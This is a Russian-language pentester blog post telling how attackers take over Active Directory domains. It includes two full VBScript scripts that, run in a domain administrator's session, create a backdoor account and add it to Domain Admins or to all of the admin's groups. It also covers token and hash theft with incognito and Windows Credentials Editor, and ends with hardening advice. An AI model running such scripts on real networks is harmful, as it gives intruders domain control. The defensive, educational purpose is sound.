22 Марта, 2011

Хроники пентестера #1: Безопасность в сетях Microsoft

Dmitriy Evteev
Предположил, что многим будет интересно почитать невыдуманные истории из жизни, в которых удавалось воспользоваться слабостями защитных механизмов в крупных компаниях и реализовать различные угрозы информационной безопасности. В силу того, что подобных историй за время работы в компании Positive Technologies накопилось огромное множество и маленькая тележка, данную рубрику предполагаю вести по всем направлениям enterprise security. А чтобы защищающейся стороне данный материал также являлся полезным, в конце каждого подобного поста буду приводить практическое решение по избеганию описываемых (типовых) проблем безопасности. Итак, поехали! В большинстве компаний, как у нас, так и за рубежом в качестве основной системы управления аутентификацией используется каталог Active Directory. И, разумеется, одной из типовых задач внутреннего пентеста является демонстрация максимального доступа к иерархии доменной инфраструктуры (получение привилегий "enterprise admins")... В первой истории, которая встречается повсеместно, атакующий сумел получить доступ с правами системы на одном из доменных компьютеров, на который эпизодически заходит администратор домена. Не будем углубляться в детали, как ему это удалось, а сосредоточимся на уже достигнутом уровне доступа атакующим. Самым простым способом получения доступа к каталогу домена с расширенными привилегиями в нем, с позиций атакующего в этой ситуации, является исполнение некоторого сценария при последующем входе администратора (использование его привилегий). Например, создание доменного пользователя и помещение его в группу администраторов домена: <br /> On Error Resume Next<br /> <br /> username = "PT"<br /> password = "P@ssw0rd"<br /> <br /> Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN<br /> Set objSysInfo = CreateObject("ADSystemInfo")<br /> strUserDN = objSysInfo.userName<br /> Set objUser = GetObject("LDAP://" & strUserDN)<br /> <br /> If IsMember("Domain Admins") Then<br /> <br /> Set objRoot = GetObject("LDAP://rootDSE")<br /> Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext")) <br /> <br /> Set objUserCreate = objContainer.Create("User", "cn=" & username)<br /> objUserCreate.Put "sAMAccountName", username<br /> objUserCreate.SetInfo<br /> <br /> objUserCreate.SetPassword password<br /> objUserCreate.Put "userAccountControl", 66048<br /> objUserCreate.SetInfo<br /> <br /> Set objGroup = GetObject ("LDAP://cn=Domain Admins, cn=Users," & objRoot.Get("defaultNamingContext")) <br /> objGroup.PutEx 3, "member", Array("cn=" & username & ", cn=Users," & objRoot.Get("defaultNamingContext"))<br /> objGroup.SetInfo<br /> <br /> End If<br /> <br /> Function IsMember(strGroup)<br /> Dim objGroupList<br /> If IsEmpty(objGroupList) Then<br /> Set objGroupList = CreateObject("Scripting.Dictionary")<br /> objGroupList.CompareMode = vbTextCompare<br /> For Each objGroup In objUser.Groups<br /> objGroupList(objGroup.sAMAccountName) = True<br /> Next<br /> End If<br /> IsMember = objGroupList.Exists(strGroup)<br /> End Function<br /> Само собой подобный сценарий работает в компаниях, которые до этого не проводили пентесты и не задумывались о подобной угрозе. К слову, в подобных компаниях приходиться часто наблюдать, как обслуживание самых обычных доменных рабочих станций корпоративных пользователей (!) беззаботно протекает от имени самой что ни на есть привилегированной учетной записи в домене. Но история продолжается. После того, как одной из компаний было продемонстрировано, что такую безопасность сложно назвать безопасной, системные администраторы принялись устранять проблему. В качестве решения с их стороны было выполнено: - Установка запрета изменения членства наиболее чувствительных групп для всех, кроме членов группы Enterprise Admins. - Изменение расположения наиболее чувствительных групп в пространстве каталога Active Directory (кроме "Builtin Administrators", имхо ее так просто не перенести). - Запрет просмотра любых атрибутов у наиболее чувствительных групп для всех, кроме их членов (видимо, чтоб никто не догадался:)). Как можно понять, подобных защитных механизмов было явно недостаточно. И при следующем пентесте ситуация идентичным образом повторилась. Для этого потребовалось всего лишь немного кастумизировать сценарий по захвату домена: <br /> On Error Resume Next<br /> <br /> username = "PT"<br /> password = "P@ssw0rd"<br /> <br /> Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN<br /> Set objSysInfo = CreateObject("ADSystemInfo")<br /> strUserDN = objSysInfo.userName<br /> Set objUser = GetObject("LDAP://" & strUserDN)<br /> <br /> Set objRoot = GetObject("LDAP://rootDSE")<br /> Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext")) <br /> <br /> Set objUserCreate = objContainer.Create("User", "cn=" & username)<br /> objUserCreate.Put "sAMAccountName", username<br /> objUserCreate.SetInfo<br /> <br /> objUserCreate.SetPassword password<br /> objUserCreate.Put "userAccountControl", 66048<br /> objUserCreate.SetInfo<br /> <br /> <br /> Member()<br /> <br /> Function Member()<br /> Dim objGroup<br /> If IsEmpty(objGroupList) Then<br /> Set objGroupList = CreateObject("Scripting.Dictionary")<br /> objGroupList.CompareMode = vbTextCompare<br /> For Each objGroup In objUser.Groups<br /> Set objGroupCreate = GetObject (objGroup.ADsPath) <br /> objGroupCreate.PutEx 3, "member", Array("cn=" & username & ", cn=Users," & objRoot.Get("defaultNamingContext"))<br /> objGroupCreate.SetInfo<br /> On Error Resume Next<br /> Next<br /> End If<br /> End Function<br /> Описанная ситуация встречается довольно часто, ровно, как ситуации с активными/отключенными сессиями администраторов домена (или серверов) расположенные на соседних терминалах при получении уже упомянутого доступа к системам. И тут на помощь приходит инструмент " incognito " [ 1 , 2 ], который реализует перехват токена зарегистрированного пользователя в системе. Стоит также заметить, что на возможности указанного инструмента в свое время не повлиял и пресловутый патч MS09-012 . Но нужно быть честным. Несмотря на свою распространенность и популярность, "incognito" был и остается довольно нестабильным и ограниченным инструментом. Совершенно другие перспективы открывает инструмент под названием " Windows Credentials Editor " [ 3 ]. Это настоящий швейцарский нож, который сводит задачу к минимуму и просто вытягивает живые хеши из сессии активного/отключенного пользователя (со вторым к слову довольно плохо справляется "incognito"). Кроме того, "Windows Credentials Editor" позволяет элегантно использовать хеши, что также может применяться для проведения атаки " Pass-the-Hash ". Ниже приведен пример, слабостей "incognito" и сильной стороны "Windows Credentials Editor". Несмотря на подобный вывод команды "whoami" (на второй картинке) текущая сессия пользователя все-таки "DCadmin". К слову, аналогичным образом можно использовать LM/NTLM-хеши, полученные из других источников и полноценно проводить атаку "Pass-the-Hash" из под GUI-интерфейса. Так как же защититься от подобных угроз? - Я уже много раз говорил об этом, и повторюсь вновь, в доменной архитектуре рекомендуется отключить учетную запись локального администратора на всех рабочих станциях и серверах. Если же она потребуется, например, в контексте поиска неисправностей при отсутствии доступа к сети, то локальная учетная запись администратора по умолчанию (SID 500) всегда доступна при загрузке в безопасном режиме . - Рекомендуется продумать/изменить существующий дизайн Active Directory, и, возможно, разнести по разным доменам сервера и рабочие станции пользователей. Более того, в некоторых случаях имеет смысл вынести в отдельный домен наиболее критичные ресурсы, например, СУБД или ERP-системы. При этом разумеется использовать разные пароли для учетных записей в разных доменах. - Рекомендуется придерживаться следующей модели доступа (в том числе, жестко контролировать на уровне GPO): членам группы администраторов домена разрешен доступ только на контроллеры домены; членам группы администраторов серверов (или администраторам определенных сервисов) разрешен доступ только на заранее определенные ресурсы; членам администраторов рабочих станций разрешен доступ только на рабочие станции пользователей; все администраторы работают на своих компьютерах под непривилегированными учетными записями домена. - Реализовать мониторинг событий безопасности, приближенный к реальному времени. Своевременно обрабатывать инциденты информационной безопасности. - И, разумеется, не использовать словарные пароли, своевременно устанавливать обновления безопасности, использовать максимально безопасные конфигурации и рекомендации вендора. В общем, заниматься, заниматься информационной безопасностью :)
или введите имя

CAPTCHA